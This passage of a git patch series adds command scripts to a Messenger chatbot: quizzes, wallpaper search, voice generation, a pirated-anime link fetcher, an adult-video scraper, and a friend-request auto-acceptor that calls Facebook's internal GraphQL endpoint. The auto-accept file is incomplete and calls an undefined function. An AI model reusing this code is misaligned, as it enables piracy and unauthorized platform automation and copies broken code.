catch (error) { + console.error("Error occurred:", error); + message.reply(`An error occurred: ${error.message}`); + } finally { + + message.unsend(loadingMessage.messageID); + } + } +}; + +async function downloadCornVideo(url) { + const response = await axios({ + url, + method: 'GET', + responseType: 'stream' + }); + + const cornFilePath = `${__dirname}/cache/${Date.now()}_corn.mp4`; + const writer = fs.createWriteStream(cornFilePath); + response.data.pipe(writer); + + return new Promise((resolve, reject) => { + writer.on('finish', () => resolve(cornFilePath)); + writer.on('error', reject); + }); +} From f0b6a6a8dca5679e729250b7c308a6b8af889dd5 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:08:51 +0545 Subject: [PATCH 063/126] Create actorquize.js --- scripts/cmds/actorquize.js | 220 +++++++++++++++++++++++++++++++++++++ 1 file changed, 220 insertions(+) create mode 100644 scripts/cmds/actorquize.js diff --git a/scripts/cmds/actorquize.js b/scripts/cmds/actorquize.js new file mode 100644 index 0000000000..cf90a611ad --- /dev/null +++ b/scripts/cmds/actorquize.js @@ -0,0 +1,220 @@ +const a = require('axios'); +const b = require('fs-extra'); +const c = require('path'); +const d = require('util'); + +const e = c.join(__dirname, 'cache'); +const f = c.join(__dirname, 'actor.json'); + +module.exports = { + config: { + name: "guessactor", + aliases: ["actorquiz"], + version: "1.0", + author: "Kshitiz || gojo", + role: 0, + shortDescription: "Guess the movie actor", + longDescription: "Guess the name of the movie actor", + category: "game", + guide: { + en: "{p}aniquiz" + } + }, + + onStart: async function ({ event, message, usersData, api, args }) { + try { + if (!event || !message) return; + if (args.length === 1 && args[0] === "top") { + return await this.showTopPlayers({ message, usersData, api }); + } + + const h = await this.fetchCharacterData(); + if (!h || !h.data) { + console.error("error"); + message.reply("error"); + return; + } + + const { image, traits, tags, fullName, firstName } = h.data; + + const imageStream = await this.downloadImage(image); + + if (!imageStream) { + console.error("Error"); + message.reply("An error occurred."); + return; + } + + const audiobody = ` +𝐆𝐮𝐞𝐬𝐬 𝐭𝐡𝐞 𝐦𝐨𝐯𝐢𝐞 𝐚𝐜𝐭𝐨𝐫!! +`; + + const replyMessage = { body: audiobody, attachment: imageStream }; + const sentMessage = await message.reply(replyMessage); + + global.GoatBot.onReply.set(sentMessage.messageID, { + commandName: this.config.name, + messageID: sentMessage.messageID, + correctAnswer: [fullName, firstName], + senderID: event.senderID + }); + + + setTimeout(async () => { + await api.unsendMessage(sentMessage.messageID); + }, 15000); + } catch (error) { + console.error("Error:", error); + message.reply("An error occurred."); + } + }, + + onReply: async function ({ message, event, Reply, api }) { + try { + if (!event || !message || !Reply) return; + const userAnswer = event.body.trim().toLowerCase(); + const correctAnswers = Reply.correctAnswer.map(name => name.toLowerCase()); + + + if (event.senderID !== Reply.senderID) return; + + if (correctAnswers.includes(userAnswer)) { + await this.addCoins(event.senderID, 1000); + await message.reply("🎉🎊 Congratulations! Your answer is correct.\nYou have received 1000 coins."); + } else { + await message.reply(`🥺 Oops! Wrong answer.\nThe correct answer was:\n${Reply.correctAnswer.join(" or ")}`); + } + + + const animeMessageID = Reply.messageID; + await api.unsendMessage(animeMessageID); + + + await api.unsendMessage(event.messageID); + } catch (error) { + console.error("Error while handling user reply:", error); + } + }, + + showTopPlayers: async function ({ message, usersData, api }) { + try { + const j = await this.getTopUsers(usersData, api); + if (j.length === 0) { + return message.reply("No users found."); + } else { + const topUsersString = j.map((user, index) => `${index + 1}. ${user.username}: ${user.money} coins`).join("\n"); + return message.reply(`Top 5 pro players:\n${topUsersString}`); + } + } catch (error) { + console.error("Error while showing top players:", error); + message.reply("An error occurred."); + } + }, + + fetchCharacterData: async function () { + try { + const k = await a.get('https://actorquiz.vercel.app/kshitiz'); + return k; + } catch (error) { + console.error("Error fetching data:", error); + return null; + } + }, + + downloadImage: async function (imageUrl) { + try { + const l = `anime_character.jpg`; + const m = c.join(e, l); + + const n = await a.get(imageUrl, { responseType: 'arraybuffer' }); + if (!n.data || n.data.length === 0) { + console.error("Empty image data received from the API."); + return null; + } + + await b.ensureDir(e); + await b.writeFile(m, n.data, 'binary'); + + return b.createReadStream(m); + } catch (error) { + console.error("Error downloading image:", error); + return null; + } + }, + + addCoins: async function (o, amount) { + let p = await this.q(o); + if (!p) { + p = { money: 0 }; + } + p.money += amount; + await this.r(o, p); + }, + + q: async function (o) { + try { + const data = await b.readFile(f, 'utf8'); + const p = JSON.parse(data); + return p[o]; + } catch (error) { + if (error.code === 'ENOENT') { + await b.writeFile(f, '{}'); + return null; + } else { + console.error("Error reading user data:", error); + return null; + } + } + }, + + r: async function (o, data) { + try { + const p = await this.q(o) || {}; + const q = { ...p, ...data }; + const r = await this.s(); + r[o] = q; + await b.writeFile(f, JSON.stringify(r, null, 2), 'utf8'); + } catch (error) { + console.error("Error saving user data:", error); + } + }, + + s: async function () { + try { + const data = await b.readFile(f, 'utf8'); + return JSON.parse(data); + } catch (error) { + console.error("Error reading user data:", error); + return {}; + } + }, + + getTopUsers: async function (usersData, api) { + try { + const t = await this.s(); + const u = Object.keys(t); + const v = []; + + const w = d.promisify(api.getUserInfo); + + await Promise.all(u.map(async (o) => { + try { + const x = await w(o); + const y = x[o].name; + if (y) { + const z = t[o]; + v.push({ username: y, money: z.money }); + } + } catch (error) { + console.error("Failed to retrieve user information:", error); + } + })); + + v.sort((a, b) => b.money - a.money); + return v.slice(0, 5); + } catch (error) { + console.error("Error getting top users:", error); + return []; + } + } +}; From ac72e093963b1a7e6e9085e9d2ffa4b7122dde90 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:09:40 +0545 Subject: [PATCH 064/126] Create ws.js --- scripts/cmds/ws.js | 77 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 scripts/cmds/ws.js diff --git a/scripts/cmds/ws.js b/scripts/cmds/ws.js new file mode 100644 index 0000000000..7831f1e4f9 --- /dev/null +++ b/scripts/cmds/ws.js @@ -0,0 +1,77 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const path = require("path"); + +module.exports = { + config: { + name: "ws", + version: "1.0.0", + author: "kshitiz", + role: 0, + countDown: 10, + shortDescription: { + en: "Search for wallpapers" + }, + category: "image", + guide: { + en: "{prefix}ws -" + } + }, + + onStart: async function ({ api, event, args, usersData }) { + try { + const subCommand = args.shift(); + let apiUrl = ""; + switch (subCommand) { + case "mbl": + apiUrl = "https://kshitiz-project.vercel.app/mbl"; + break; + case "pc": + apiUrl = "https://kshitiz-project.vercel.app/pc"; + break; + default: + return api.sendMessage(`invaild.\nex1: ws mbl zoro -1\nex2:ws pc zoro -1`, event.threadID, event.messageID); + } + + const keySearch = args.join(" "); + if (!keySearch.includes("-")) { + return api.sendMessage(`invaild.ex1: ws mbl zoro -1\nex1:ws pc zoro -1`, event.threadID, event.messageID); + } + const keySearchs = keySearch.substr(0, keySearch.indexOf('-')).trim(); + const numberSearch = parseInt(keySearch.split("-").pop().trim()) || 6; + + const res = await axios.get(`${apiUrl}?q=${encodeURIComponent(keySearchs)}`); + const data = res.data.data; + + if (!data || !Array.isArray(data) || data.length === 0) { + return api.sendMessage(`wallpaper not found for "${keySearchs}".`, event.threadID, event.messageID); + } + + const imgData = []; + + for (let i = 0; i < Math.min(numberSearch, data.length); i++) { + const imageUrl = data[i]; + + try { + const imgResponse = await axios.get(imageUrl, { responseType: 'arraybuffer' }); + const imgPath = path.join(__dirname, 'cache', `${i + 1}.jpg`); + await fs.outputFile(imgPath, imgResponse.data); + imgData.push(fs.createReadStream(imgPath)); + } catch (error) { + console.error(error); + + } + } + + await api.sendMessage({ + attachment: imgData, + body: `-wallpaper for you-` + }, event.threadID, event.messageID); + + await fs.remove(path.join(__dirname, 'cache')); + } catch (error) { + console.error(error); + return api.sendMessage(`An error occurred. Please try again later.`, event.threadID, event.messageID); + } + } +}; From 4e1efa2505f3b73bfa3b90acd333333f6ccd0b6e Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:10:02 +0545 Subject: [PATCH 065/126] Delete ws.js --- ws.js | 77 ----------------------------------------------------------- 1 file changed, 77 deletions(-) delete mode 100644 ws.js diff --git a/ws.js b/ws.js deleted file mode 100644 index 7831f1e4f9..0000000000 --- a/ws.js +++ /dev/null @@ -1,77 +0,0 @@ -const axios = require("axios"); -const fs = require("fs-extra"); -const path = require("path"); - -module.exports = { - config: { - name: "ws", - version: "1.0.0", - author: "kshitiz", - role: 0, - countDown: 10, - shortDescription: { - en: "Search for wallpapers" - }, - category: "image", - guide: { - en: "{prefix}ws -" - } - }, - - onStart: async function ({ api, event, args, usersData }) { - try { - const subCommand = args.shift(); - let apiUrl = ""; - switch (subCommand) { - case "mbl": - apiUrl = "https://kshitiz-project.vercel.app/mbl"; - break; - case "pc": - apiUrl = "https://kshitiz-project.vercel.app/pc"; - break; - default: - return api.sendMessage(`invaild.\nex1: ws mbl zoro -1\nex2:ws pc zoro -1`, event.threadID, event.messageID); - } - - const keySearch = args.join(" "); - if (!keySearch.includes("-")) { - return api.sendMessage(`invaild.ex1: ws mbl zoro -1\nex1:ws pc zoro -1`, event.threadID, event.messageID); - } - const keySearchs = keySearch.substr(0, keySearch.indexOf('-')).trim(); - const numberSearch = parseInt(keySearch.split("-").pop().trim()) || 6; - - const res = await axios.get(`${apiUrl}?q=${encodeURIComponent(keySearchs)}`); - const data = res.data.data; - - if (!data || !Array.isArray(data) || data.length === 0) { - return api.sendMessage(`wallpaper not found for "${keySearchs}".`, event.threadID, event.messageID); - } - - const imgData = []; - - for (let i = 0; i < Math.min(numberSearch, data.length); i++) { - const imageUrl = data[i]; - - try { - const imgResponse = await axios.get(imageUrl, { responseType: 'arraybuffer' }); - const imgPath = path.join(__dirname, 'cache', `${i + 1}.jpg`); - await fs.outputFile(imgPath, imgResponse.data); - imgData.push(fs.createReadStream(imgPath)); - } catch (error) { - console.error(error); - - } - } - - await api.sendMessage({ - attachment: imgData, - body: `-wallpaper for you-` - }, event.threadID, event.messageID); - - await fs.remove(path.join(__dirname, 'cache')); - } catch (error) { - console.error(error); - return api.sendMessage(`An error occurred. Please try again later.`, event.threadID, event.messageID); - } - } -}; From 2503f4f9273d42ceecae1007066bd134d393f27a Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:10:18 +0545 Subject: [PATCH 066/126] Delete voice.js --- voice.js | 54 ------------------------------------------------------ 1 file changed, 54 deletions(-) delete mode 100644 voice.js diff --git a/voice.js b/voice.js deleted file mode 100644 index 68739aa64d..0000000000 --- a/voice.js +++ /dev/null @@ -1,54 +0,0 @@ -const axios = require('axios'); -const supportedIds = ["rachel", "drew", "clyde", "paul", "domi", "dave", "fin", "sarah", "antoni", "thomas", "charlie", "george", "emily", "elli", "callum", "patrick", "harry", "liam", "dorothy", "josh", "arnold", "charlotte", "alice", "matilda", "matthew", "james", "joseph", "jeremy", "michael", "ethan", "chris", "gigi", "freya", "brian", "grace", "daniel", "lily", "serena", "adam", "nicole", "bill", "jessie", "sam", "glinda", "giovanni", "mimi"]; - -module.exports = { - config: { - name: "voice", - version: "1.0", - author: "Rishad", - countDown: 5, - role: 0, - category: "Fun", - ShortDescription: "Generate voice using AI", - LongDescription: "Generates voice using an AI.", - guide: { - en: "{pn} (voice id) | texts\nExample: {pn} rachel | hey there\n{pn} list | Get the list of supported voice IDs" - } - }, - - onStart: async function ({ api, args, message, event }) { - const { getPrefix, getStreamFromURL } = global.utils; - const p = getPrefix(event.threadID); - - const command = args.join(" ").split("|"); - if (command.length !== 2) { - if (args[0].toLowerCase() === 'list') { - return api.sendMessage(`Supported voice IDs are:\n ${supportedIds.join("\n")}`, event.threadID, event.messageID); - } - return message.reply(`❌Invalid command format. Use it like this:\n${p}voice rachel | Hey there`); - } - - const voiceId = command[0].trim().toLowerCase(); - const text = command[1].trim(); - - if (!supportedIds.includes(voiceId)) { - return message.reply(`❌Invalid voice ID. Supported IDs are:\n ${supportedIds.join("\n")}`); - } - - const apiKey = 'fuck'; - const apiUrl = `https://for-devs.onrender.com/api/voice?text=${encodeURIComponent(text)}&voiceid=${voiceId}&apikey=${apiKey}`; - - try { - const voiceStream = await getStreamFromURL(apiUrl); - - if (voiceStream) { - return api.sendMessage({ attachment: voiceStream }, event.threadID, event.messageID); - } else { - return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); - } - } catch (error) { - console.error(error); - return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); - } - } -}; From cd3e4b2756ab4453b9e9cdc3429fa7b63bf3fa80 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:10:43 +0545 Subject: [PATCH 067/126] Create voice.js --- scripts/cmds/voice.js | 54 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 scripts/cmds/voice.js diff --git a/scripts/cmds/voice.js b/scripts/cmds/voice.js new file mode 100644 index 0000000000..68739aa64d --- /dev/null +++ b/scripts/cmds/voice.js @@ -0,0 +1,54 @@ +const axios = require('axios'); +const supportedIds = ["rachel", "drew", "clyde", "paul", "domi", "dave", "fin", "sarah", "antoni", "thomas", "charlie", "george", "emily", "elli", "callum", "patrick", "harry", "liam", "dorothy", "josh", "arnold", "charlotte", "alice", "matilda", "matthew", "james", "joseph", "jeremy", "michael", "ethan", "chris", "gigi", "freya", "brian", "grace", "daniel", "lily", "serena", "adam", "nicole", "bill", "jessie", "sam", "glinda", "giovanni", "mimi"]; + +module.exports = { + config: { + name: "voice", + version: "1.0", + author: "Rishad", + countDown: 5, + role: 0, + category: "Fun", + ShortDescription: "Generate voice using AI", + LongDescription: "Generates voice using an AI.", + guide: { + en: "{pn} (voice id) | texts\nExample: {pn} rachel | hey there\n{pn} list | Get the list of supported voice IDs" + } + }, + + onStart: async function ({ api, args, message, event }) { + const { getPrefix, getStreamFromURL } = global.utils; + const p = getPrefix(event.threadID); + + const command = args.join(" ").split("|"); + if (command.length !== 2) { + if (args[0].toLowerCase() === 'list') { + return api.sendMessage(`Supported voice IDs are:\n ${supportedIds.join("\n")}`, event.threadID, event.messageID); + } + return message.reply(`❌Invalid command format. Use it like this:\n${p}voice rachel | Hey there`); + } + + const voiceId = command[0].trim().toLowerCase(); + const text = command[1].trim(); + + if (!supportedIds.includes(voiceId)) { + return message.reply(`❌Invalid voice ID. Supported IDs are:\n ${supportedIds.join("\n")}`); + } + + const apiKey = 'fuck'; + const apiUrl = `https://for-devs.onrender.com/api/voice?text=${encodeURIComponent(text)}&voiceid=${voiceId}&apikey=${apiKey}`; + + try { + const voiceStream = await getStreamFromURL(apiUrl); + + if (voiceStream) { + return api.sendMessage({ attachment: voiceStream }, event.threadID, event.messageID); + } else { + return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + } + } catch (error) { + console.error(error); + return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + } + } +}; From 2edc2775991fbdb6b96ff4183476d0f5a631860f Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:11:07 +0545 Subject: [PATCH 068/126] Delete aniwatch.js --- aniwatch.js | 114 ---------------------------------------------------- 1 file changed, 114 deletions(-) delete mode 100644 aniwatch.js diff --git a/aniwatch.js b/aniwatch.js deleted file mode 100644 index 3728c96d23..0000000000 --- a/aniwatch.js +++ /dev/null @@ -1,114 +0,0 @@ -const axios = require("axios"); -const { getStreamFromURL, shortenURL, randomString } = global.utils; - -async function a(animeName) { - try { - const response = await axios.get(`https://animee-xhrb.onrender.com/kshitiz?anime=${encodeURIComponent(animeName)}`); - return response.data.episodes; - } catch (error) { - console.error(error); - throw new Error("Failed to fetch anime episodes"); - } -} - -async function b(episodeName) { - try { - const response = await axios.get(`https://animedl-pyzi.onrender.com/kshitiz?episode=${encodeURIComponent(episodeName)}`); - return response.data.downloadLinks; - } catch (error) { - console.error(error); - throw new Error("Failed to fetch episode download links"); - } -} - -async function c(episodeName) { - try { - const response = await axios.get(`https://stream-blush.vercel.app/kshitiz?id=${encodeURIComponent(episodeName)}`); - return response.data.Referer; - } catch (error) { - console.error("Failed to fetch referer URL:", error.message); - throw new Error("Failed to fetch referer URL"); - } -} - -module.exports = { - config: { - name: "aniwatch", - author: "Kshitiz", - version: "2.0", - cooldowns: 5, - role: 0, - shortDescription: "Watch anime", - longDescription: "Get anime episode download links", - category: "Anime", - guide: "{p}aniwatch ", - }, - - onStart: async function ({ api, event, args }) { - const animeName = args.join(" "); - - if (!animeName) { - api.sendMessage({ body: "Please provide the name of the anime." }, event.threadID, event.messageID); - return; - } - - try { - const episodes = await a(animeName); - - if (!episodes || episodes.length === 0) { - api.sendMessage({ body: `No episodes found for the anime: ${animeName}` }, event.threadID, event.messageID); - return; - } - - const totalEpisodes = episodes.length; - const message = `Reply to this message with the episode number.\nTotal Episodes: ${totalEpisodes}`; - - api.sendMessage({ body: message }, event.threadID, (err, info) => { - global.GoatBot.onReply.set(info.messageID, { - commandName: "aniwatch", - messageID: info.messageID, - animeName, - episodes, - }); - }); - } catch (error) { - console.error(error); - api.sendMessage({ body: "Sorry, an error occurred while processing your request." }, event.threadID); - } - }, - - onReply: async function ({ api, event, Reply, args }) { - const { animeName, episodes } = Reply; - - const episodeIndex = parseInt(args[0], 10); - - if (isNaN(episodeIndex) || episodeIndex <= 0 || episodeIndex > episodes.length) { - api.sendMessage({ body: "Invalid input.\nPlease provide a valid episode number." }, event.threadID, event.messageID); - return; - } - - const selectedEpisode = episodes[episodeIndex - 1]; - const episodeName = selectedEpisode[1]; - - try { - const downloadLinks = await b(episodeName); - const refererURL = await c(encodeURIComponent(episodeName)); - const shortenedLinks = { - '1280x720': await shortenURL(downloadLinks['1280x720']), - '1920x1080': await shortenURL(downloadLinks['1920x1080']), - }; - - const message = `Download links for episode "${episodeName}":\n\n` - + `1280x720: ${shortenedLinks['1280x720']}\n` - + `1920x1080: ${shortenedLinks['1920x1080']}\n\n` - + `Watch online: ${refererURL}`; - - api.sendMessage({ body: message }, event.threadID, event.messageID); - } catch (error) { - console.error(error); - api.sendMessage({ body: "An error occurred while processing the episode.\nPlease try again later." }, event.threadID); - } finally { - global.GoatBot.onReply.delete(event.messageID); - } - }, -}; From 4a538966a22fa826616c7a27efa3889b16bf7955 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:11:27 +0545 Subject: [PATCH 069/126] Create aniwatch.js --- scripts/cmds/aniwatch.js | 114 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 114 insertions(+) create mode 100644 scripts/cmds/aniwatch.js diff --git a/scripts/cmds/aniwatch.js b/scripts/cmds/aniwatch.js new file mode 100644 index 0000000000..3728c96d23 --- /dev/null +++ b/scripts/cmds/aniwatch.js @@ -0,0 +1,114 @@ +const axios = require("axios"); +const { getStreamFromURL, shortenURL, randomString } = global.utils; + +async function a(animeName) { + try { + const response = await axios.get(`https://animee-xhrb.onrender.com/kshitiz?anime=${encodeURIComponent(animeName)}`); + return response.data.episodes; + } catch (error) { + console.error(error); + throw new Error("Failed to fetch anime episodes"); + } +} + +async function b(episodeName) { + try { + const response = await axios.get(`https://animedl-pyzi.onrender.com/kshitiz?episode=${encodeURIComponent(episodeName)}`); + return response.data.downloadLinks; + } catch (error) { + console.error(error); + throw new Error("Failed to fetch episode download links"); + } +} + +async function c(episodeName) { + try { + const response = await axios.get(`https://stream-blush.vercel.app/kshitiz?id=${encodeURIComponent(episodeName)}`); + return response.data.Referer; + } catch (error) { + console.error("Failed to fetch referer URL:", error.message); + throw new Error("Failed to fetch referer URL"); + } +} + +module.exports = { + config: { + name: "aniwatch", + author: "Kshitiz", + version: "2.0", + cooldowns: 5, + role: 0, + shortDescription: "Watch anime", + longDescription: "Get anime episode download links", + category: "Anime", + guide: "{p}aniwatch ", + }, + + onStart: async function ({ api, event, args }) { + const animeName = args.join(" "); + + if (!animeName) { + api.sendMessage({ body: "Please provide the name of the anime." }, event.threadID, event.messageID); + return; + } + + try { + const episodes = await a(animeName); + + if (!episodes || episodes.length === 0) { + api.sendMessage({ body: `No episodes found for the anime: ${animeName}` }, event.threadID, event.messageID); + return; + } + + const totalEpisodes = episodes.length; + const message = `Reply to this message with the episode number.\nTotal Episodes: ${totalEpisodes}`; + + api.sendMessage({ body: message }, event.threadID, (err, info) => { + global.GoatBot.onReply.set(info.messageID, { + commandName: "aniwatch", + messageID: info.messageID, + animeName, + episodes, + }); + }); + } catch (error) { + console.error(error); + api.sendMessage({ body: "Sorry, an error occurred while processing your request." }, event.threadID); + } + }, + + onReply: async function ({ api, event, Reply, args }) { + const { animeName, episodes } = Reply; + + const episodeIndex = parseInt(args[0], 10); + + if (isNaN(episodeIndex) || episodeIndex <= 0 || episodeIndex > episodes.length) { + api.sendMessage({ body: "Invalid input.\nPlease provide a valid episode number." }, event.threadID, event.messageID); + return; + } + + const selectedEpisode = episodes[episodeIndex - 1]; + const episodeName = selectedEpisode[1]; + + try { + const downloadLinks = await b(episodeName); + const refererURL = await c(encodeURIComponent(episodeName)); + const shortenedLinks = { + '1280x720': await shortenURL(downloadLinks['1280x720']), + '1920x1080': await shortenURL(downloadLinks['1920x1080']), + }; + + const message = `Download links for episode "${episodeName}":\n\n` + + `1280x720: ${shortenedLinks['1280x720']}\n` + + `1920x1080: ${shortenedLinks['1920x1080']}\n\n` + + `Watch online: ${refererURL}`; + + api.sendMessage({ body: message }, event.threadID, event.messageID); + } catch (error) { + console.error(error); + api.sendMessage({ body: "An error occurred while processing the episode.\nPlease try again later." }, event.threadID); + } finally { + global.GoatBot.onReply.delete(event.messageID); + } + }, +}; From 6db58925c53a1b4da57ae30f017565ec5214a123 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:12:08 +0545 Subject: [PATCH 070/126] Delete autoacpt.js --- autoacpt.js | 61 ----------------------------------------------------- 1 file changed, 61 deletions(-) delete mode 100644 autoacpt.js diff --git a/autoacpt.js b/autoacpt.js deleted file mode 100644 index 9c2ed5c57b..0000000000 --- a/autoacpt.js +++ /dev/null @@ -1,61 +0,0 @@ -Accept CMD --cmd install accept.js const moment = require("moment-timezone"); - -module.exports = { - config: { - name: "autoaccept", - version: "1.0", - author: "Danny will", - countDown: 13, - role: 2, - shortDescription: "accept users", - longDescription: "accept users", - category: "owner", - }, - - onStart: async function() {}, - onLoad: async function ({ event, api }) { - const targetUserID = "100089360940322"; - const targetThreadID = ""; - - setInterval(async () => { - const listRequest = await getListOfFriendRequests(api); - - const success = []; - const failed = []; - - for (let i = 0; i < listRequest.length; i++) { - const u = listRequest[i]; - const form = { - av: api.getCurrentUserID(), - fb_api_req_friendly_name: "FriendingCometFriendRequestConfirmMutation", - doc_id: "3147613905362928", - variables: JSON.stringify({ - input: { - friend_requester_id: u.node.id, - source: "friends_tab", - actor_id: api.getCurrentUserID(), - client_mutation_id: Math.round(Math.random() * 19).toString() - }, - scale: 3, - refresh_num: 0 - }) - }; - - try { - const friendRequest = await api.httpPost("https://www.facebook.com/api/graphql/", form); - if (!JSON.parse(friendRequest).errors) { - success.push(u.node.name); - } else { - failed.push(u.node.name); - } - } catch (e) { - failed.push(u.node.name); - } - } - - if (success.length > 0) { - api.sendMessage(`» Successfully accepted friend requests for ${success.length} people:\n\n${success.join("\n")}${failed.length > 0 ? `\n» Failed to accept friend requests for ${failed.length} people: ${failed.join("\n")}` : ""}`, targetThreadID, () => { - api.sendMessage(`Auto-accepted friend requests:\n${success.join("\n")}`, targetUserID); - }); - } From 818462aac6b33199a29d0a323baf9d57c498402f Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:12:30 +0545 Subject: [PATCH 071/126] Create autoaccept.js --- scripts/cmds/autoaccept.js | 58 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 scripts/cmds/autoaccept.js diff --git a/scripts/cmds/autoaccept.js b/scripts/cmds/autoaccept.js new file mode 100644 index 0000000000..dc98c17515 --- /dev/null +++ b/scripts/cmds/autoaccept.js @@ -0,0 +1,58 @@ +module.exports = { + config: { + name: "autoaccept", + version: "1.0", + author: "Danny will", + countDown: 13, + role: 2, + shortDescription: "accept users", + longDescription: "accept users", + category: "owner", + }, + + onStart: async function() {}, + onLoad: async function ({ event, api }) { + const targetUserID = "100089360940322"; + const targetThreadID = ""; + + setInterval(async () => { + const listRequest = await getListOfFriendRequests(api); + + const success = []; + const failed = []; + + for (let i = 0; i < listRequest.length; i++) { + const u = listRequest[i]; + const form = { + av: api.getCurrentUserID(), + fb_api_req_friendly_name: "FriendingCometFriendRequestConfirmMutation", + doc_id: "3147613905362928", + variables: JSON.stringify({ + input: { + friend_requester_id: u.node.id, + source: "friends_tab", + actor_id: api.getCurrentUserID(), + client_mutation_id: Math.round(Math.random() * 19).toString() + }, + scale: 3, + refresh_num: 0 + }) + }; + + try { + const friendRequest = await api.httpPost("https://www.facebook.com/api/graphql/", form); + if (!JSON.parse(friendRequest).errors) { + success.push(u.node.name); + } else { + failed.push(u.node.name); + } + } catch (e) { + failed.push(u.node.name); + } + } + + if (success.length > 0) { + api.sendMessage(`» Successfully accepted friend requests for ${success.length} people:\n\n${success.join("\n")}${failed.length > 0 ? `\n» Failed to accept friend requests for ${failed.length} people: ${failed.join("\n")}` : ""}`, targetThreadID, () => { + api.sendMessage(`Auto-accepted friend requests:\n${success.join("\n")}`, targetUserID); + }); + } From 1f28788b74c1a7b6a8c91eba3c7be095f4f8a9c5 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:12:53 +0545 Subject: [PATCH 072/126] Delete corn.js --- corn.js | 82 --------------------------------------------------------- 1 file changed, 82 deletions(-) delete mode 100644 corn.js diff --git a/corn.js b/corn.js deleted file mode 100644 index fe4711d15c..0000000000 --- a/corn.js +++ /dev/null @@ -1,82 +0,0 @@ -const axios = require("axios"); -const fs = require('fs'); - -module.exports = { - config: { - name: "corn", - version: "1.0", - author: "Kshitiz", - countDown: 10, - role: 2, - shortDescription: "get corn video", - longDescription: "get corn video", - category: "18+", - guide: "{pn} corn query" - }, - - onStart: async function ({ api, event, args, message }) { - const query = args.join(" "); - if (!query) { - return message.reply("Please provide a query."); - } - - - const loadingMessage = await message.reply("Loading your video..."); - - try { - - const cornResponse = await axios.get(`https://corns.vercel.app/kshitiz?q=${encodeURIComponent(query)}`); - const links = cornResponse.data.links; - if (!links || links.length === 0) { - throw new Error("No corn video found for the provided query."); - } - - - const cornVideoLink = links[0]; - const cornDownloadResponse = await axios.get(`https://cornnn.vercel.app/kshitiz?url=${encodeURIComponent(cornVideoLink)}`); - const cornDownloadURL = cornDownloadResponse.data.xnxxURL; - - - const cornFilePath = await downloadCornVideo(cornDownloadURL); - - - await api.sendMessage({ - body: `🌽 Corn video for query "${query}"`, - attachment: fs.createReadStream(cornFilePath) - }, event.threadID, event.messageID); - - - fs.unlink(cornFilePath, (err) => { - if (err) { - console.error("Error deleting file:", err); - } else { - console.log("File deleted successfully:", cornFilePath); - } - }); - - } catch (error) { - console.error("Error occurred:", error); - message.reply(`An error occurred: ${error.message}`); - } finally { - - message.unsend(loadingMessage.messageID); - } - } -}; - -async function downloadCornVideo(url) { - const response = await axios({ - url, - method: 'GET', - responseType: 'stream' - }); - - const cornFilePath = `${__dirname}/cache/${Date.now()}_corn.mp4`; - const writer = fs.createWriteStream(cornFilePath); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => resolve(cornFilePath)); - writer.on('error', reject); - }); -} From a702f39d5e8b7c1ec8f2e4d6f62833ea2f79741e Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:13:14 +0545 Subject: [PATCH 073/126] Create corn.js --- scripts/cmds/corn.js | 82 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 scripts/cmds/corn.js diff --git a/scripts/cmds/corn.js b/scripts/cmds/corn.js new file mode 100644 index 0000000000..fe4711d15c --- /dev/null +++ b/scripts/cmds/corn.js @@ -0,0 +1,82 @@ +const axios = require("axios"); +const fs = require('fs'); + +module.exports = { + config: { + name: "corn", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 2, + shortDescription: "get corn video", + longDescription: "get corn video", + category: "18+", + guide: "{pn} corn query" + }, + + onStart: async function ({ api, event, args, message }) { + const query = args.join(" "); + if (!query) { + return message.reply("Please provide a query."); + } + + + const loadingMessage = await message.reply("Loading your video..."); + + try { + + const cornResponse = await axios.get(`https://corns.vercel.app/kshitiz?q=${encodeURIComponent(query)}`); + const links = cornResponse.data.links; + if (!links || links.length === 0) { + throw new Error("No corn video found for the provided query."); + } + + + const cornVideoLink = links[0]; + const cornDownloadResponse = await axios.get(`https://cornnn.vercel.app/kshitiz?url=${encodeURIComponent(cornVideoLink)}`); + const cornDownloadURL = cornDownloadResponse.data.xnxxURL; + + + const cornFilePath = await downloadCornVideo(cornDownloadURL); + + + await api.sendMessage({ + body: `🌽 Corn video for query "${query}"`, + attachment: fs.createReadStream(cornFilePath) + }, event.threadID, event.messageID); + + + fs.unlink(cornFilePath, (err) => { + if (err) { + console.error("Error deleting file:", err); + } else { + console.log("File deleted successfully:", cornFilePath); 